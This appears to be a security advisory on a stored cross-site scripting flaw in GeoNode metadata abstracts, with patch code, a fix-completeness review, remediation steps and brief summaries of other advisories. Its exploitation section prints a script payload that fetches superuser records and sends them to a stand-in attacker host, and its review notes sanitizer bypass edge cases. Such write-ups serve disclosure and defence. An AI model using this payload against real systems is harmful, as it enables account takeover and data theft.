Nov 6, 2026·9 min read·1 visit
GeoNode versions prior to 5.0.3 fail to sanitize HTML and JavaScript input in document abstract metadata fields. Authenticated users with resource editing permissions can inject persistent XSS payloads that execute in the browser sessions of administrators or peers viewing the resource.
CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.
GeoNode is an open-source geospatial content management system built on the Python Django framework. It provides an interface and RESTful API for managing, publishing, and sharing geospatial datasets, maps, and associated documentation. A core feature of GeoNode is its metadata subsystem, which allows resource owners and editors to annotate uploaded documents with structured spatial metadata adhering to international standards.
In GeoNode versions prior to 5.0.3, the metadata ingestion pipeline contains a stored Cross-Site Scripting (XSS) vulnerability tracked as CVE-2026-55649 (and GHSA-r4hm-p9f9-fj9v). Specifically, the application fails to validate, sanitize, or encode user-supplied strings submitted within the abstract field and related metadata properties of document resources. The metadata manager accepts raw JSON payloads from authenticated users and persists the contents directly to the underlying relational database.
When any user navigates to the document detail view or browses catalog results containing the modified resource, the frontend templates render the stored abstract content directly into the browser DOM without output encoding. This behavior classifies the flaw under CWE-79 (Improper Neutralization of Input During Web Page Generation). An authenticated attacker with basic resource creation or editing privileges can leverage this flaw to execute arbitrary JavaScript within the browser context of administrative users.
The root cause of CVE-2026-55649 resides in the metadata deserialization workflow managed by geonode/metadata/manager.py. When a user updates resource metadata through the user interface or submits a payload to the metadata API endpoints, the update_schema_instance method processes the incoming JSON structure. Prior to version 5.0.3, the metadata manager iterated through registered metadata handlers to populate the Django ResourceBase model fields without passing the input through a content sanitization layer.
Because the backend treated all string fields within the incoming JSON schema instance as trusted text, HTML markup and event handlers were preserved verbatim in the database. Furthermore, the client-side rendering components responsible for displaying document abstracts are designed to support formatted text, resulting in the direct insertion of the stored string into the page DOM.
Triggering the vulnerability requires no specialized conditions beyond standard application usage. Any string containing HTML tags—such as <script>, <iframe>, or elements with inline JavaScript event handlers like onerror or onload—bypasses input checks entirely. Additionally, HTML entity-encoded payloads are not normalized or stripped prior to storage, allowing obfuscated markup to persist until rendered by a client browser.
The remediation for CVE-2026-55649 was implemented across commits 0803857b22eba5b55729145ef401b1bc1c23e332 and 730d8fae206ea5b051f630718aeecae1bf7b5760. The patch introduces a dedicated CleanupHandler class in a new module, geonode/metadata/handlers/meta.py, and integrates it into the pre-deserialization lifecycle within geonode/metadata/manager.py.
# File: geonode/metadata/handlers/meta.py
class CleanupHandler(MetadataHandler):
# Matches standard and self-closing HTML tags
_HTML_LIKE_PATTERN = re.compile(r"<\s*/?\s*[a-zA-Z][^>]*>")
_DANGEROUS_TAGS = ("script", "style", "noscript", "iframe", "object", "embed")
@classmethod
def _sanitize_string(cls, value: str):
# Unescape HTML entities to prevent entity-encoding bypasses
normalized = unescape(value)
if not cls._HTML_LIKE_PATTERN.search(normalized):
return value, False
# Parse markup and completely remove dangerous elements and their inner content
soup = BeautifulSoup(normalized, "html.parser")
for tag in soup(cls._DANGEROUS_TAGS):
tag.decompose()
# Strip all remaining HTML tags, returning only plain text
sanitized = soup.get_text()
return sanitized, sanitized != valueThe CleanupHandler operates by recursively traversing incoming dictionaries and lists via the _sanitize_instance method before the data is mapped to Django models. For every string encountered, _sanitize_string first normalizes the input using Python's html.unescape(). This step prevents attackers from bypassing regular expression checks using HTML character references (e.g., <script>). If the normalized string matches _HTML_LIKE_PATTERN, it is parsed using BeautifulSoup with the standard html.parser.
Instead of relying on a complex tag allowlist, the patch enforces a strict plain-text policy for metadata fields. It explicitly calls decompose() on high-risk tags (script, style, noscript, iframe, object, embed) to destroy both the tags and their inner text payloads, and then invokes soup.get_text() to strip all remaining HTML tags. If a string is modified during this process, the handler logs a security warning and populates the context["errors"] dictionary with a localized alert message.
# File: geonode/metadata/manager.py (Commit 730d8fae206ea5b051f630718aeecae1bf7b5760)
errors = {}
context["errors"] = errors
# Execute CleanupHandler on the raw json_instance prior to field processing
cleanup_handler = CleanupHandler()
cleanup_handler.pre_deserialization(resource, schema, json_instance, partial, context)
for fieldname, subschema in schema["properties"].items():In the backport commit 730d8fae206ea5b051f630718aeecae1bf7b5760 for the 5.0.x branch, CleanupHandler is instantiated directly inside update_schema_instance in geonode/metadata/manager.py. In the primary commit 0803857b22eba5b55729145ef401b1bc1c23e332 targeting 5.1.x and onward, CleanupHandler is registered in METADATA_HANDLERS within geonode/settings.py and executed dynamically via the pre_deserialization loop over all configured handlers.
> [!NOTE]
> Fix Completeness Assessment: The combination of html.unescape() followed by BeautifulSoup parsing and get_text() extraction effectively neutralizes tag-based XSS payloads across all string properties in the metadata JSON payload. However, two edge cases warrant consideration. First, only a single pass of unescape() is performed; double-encoded input will not match _HTML_LIKE_PATTERN and will be stored as single-encoded entities, which is safe unless the frontend explicitly unescapes the text again before DOM insertion. Second, _HTML_LIKE_PATTERN requires a closing > character to trigger BeautifulSoup parsing. Unclosed tags (such as <script src="..." without a trailing >) will bypass the regex check, though modern browsers generally do not execute script blocks lacking a closing bracket unless adjacent DOM elements complete the tag structure.
Exploiting CVE-2026-55649 requires an authenticated session with low privileges (PR:L). In default GeoNode deployments, registered contributors and standard users are permitted to upload documents and edit the metadata of resources they own. No public proof-of-concept (PoC) exploits or weaponized modules currently exist in public repositories, but the mechanics of the vulnerability make manual exploitation straightforward.
To execute the attack, the adversary first authenticates to the GeoNode instance and creates a new document resource or selects an existing editable document. The attacker then navigates to the metadata editing interface or intercepts the HTTP PUT/POST request directed to the metadata REST API endpoint (such as /api/v2/resources/<id>/metadata).
{
"abstract": "Quarterly geospatial survey data.<script>fetch('/api/v2/users/?is_superuser=true').then(r=>r.json()).then(d=>fetch('https://attacker.example/collect',{method:'POST',body:JSON.stringify(d)}));</script>",
"title": "Survey Data Q3"
}The attacker submits a JSON payload containing malicious JavaScript embedded within the abstract property, as shown above. In vulnerable versions prior to 5.0.3, the server accepts the payload, returns a 200 OK status, and writes the raw string to the base_resourcebase table.
The final phase of exploitation requires user interaction (UI:R). When a GeoNode administrator, data manager, or peer user browses the document catalog or views the specific document's detail page, the web application serves the stored abstract without sanitization. The victim's browser parses the injected <script> tag and executes the JavaScript payload within the origin of the GeoNode application.
CVE-2026-55649 is assigned a CVSS v3.1 base score of 6.3 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N. Despite the Medium base severity score, the practical impact on Confidentiality is rated High (C:H). Because the injected script executes within the origin of the vulnerable GeoNode instance, it has full access to the victim user's browser environment and active session state.
If an administrative user views the malicious document metadata, the executing JavaScript can perform arbitrary actions on behalf of the administrator. If session cookies are not protected by the HttpOnly flag, or if OAuth2/JWT bearer tokens are stored in localStorage or sessionStorage, the payload can exfiltrate these credentials directly to an external server controlled by the attacker.
Even when session identifiers are protected from direct DOM access via HttpOnly cookies, the attacker's script can issue authenticated asynchronous HTTP requests (fetch or XMLHttpRequest) to GeoNode's internal REST APIs and Django administration endpoints. This allows the attacker to read restricted geospatial datasets, modify access control lists on sensitive layers, or elevate the privileges of the attacker's own user account to superuser status.
The Integrity impact is rated Low (I:L), reflecting the attacker's ability to manipulate the rendered DOM, inject phishing forms into the legitimate GeoNode interface, or alter metadata across accessible resources. The Availability impact is None (A:N), as the vulnerability does not provide a mechanism to crash the underlying Django application process or exhaust server system resources.
The primary remediation for CVE-2026-55649 is to upgrade GeoNode to version 5.0.3 or later, which includes the CleanupHandler pre-deserialization sanitizer. Administrators managing Python package deployments can upgrade via pip, while Docker-based deployments should pull the updated 5.0.3 container images.
# Upgrade GeoNode via pip
pip install --upgrade "geonode>=5.0.3"> [!IMPORTANT]
> Database Retroactive Sanitization: The CleanupHandler introduced in version 5.0.3 only executes during the pre_deserialization phase when metadata is created or updated. Malicious payloads injected into the database prior to the upgrade will remain intact and continue to execute when rendered until those specific records are re-saved.
After upgrading to 5.0.3, database administrators must audit existing records in the PostgreSQL database to identify and clean any previously stored HTML or script markup within the base_resourcebase table.
-- Identify existing resources containing HTML-like tags in the abstract field
SELECT id, uuid, title, abstract
FROM base_resourcebase
WHERE abstract ~* '<\s*/?\s*[a-zA-Z][^>]*>';For environments where immediate upgrading is not feasible, organizations should implement compensating controls at the network perimeter and web server layer. Deploying a Web Application Firewall (WAF) configured to inspect incoming POST, PUT, and PATCH requests to /api/v2/ and /metadata/ endpoints can block common XSS vectors before they reach the Django backend. Additionally, configuring a strict Content Security Policy (CSP) HTTP response header that disallows inline script execution (script-src 'self') and restricts external data exfiltration (connect-src 'self') will significantly reduce the impact of any triggered XSS payload.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
GeoNode OSGeo / GeoNode | < 5.0.3 | 5.0.3 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Stored Cross-Site Scripting (CWE-79) |
| Affected Component | Metadata Manager (geonode/metadata/manager.py) |
| Attack Vector | Network (Authenticated Low-Privilege User) |
| CVSS v3.1 Score | 6.3 Medium (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N) |
| Impact | Arbitrary JavaScript execution, session hijacking, unauthorized API actions |
| Affected Versions | GeoNode < 5.0.3 |
| Patched Version | GeoNode 5.0.3 |
| CISA KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.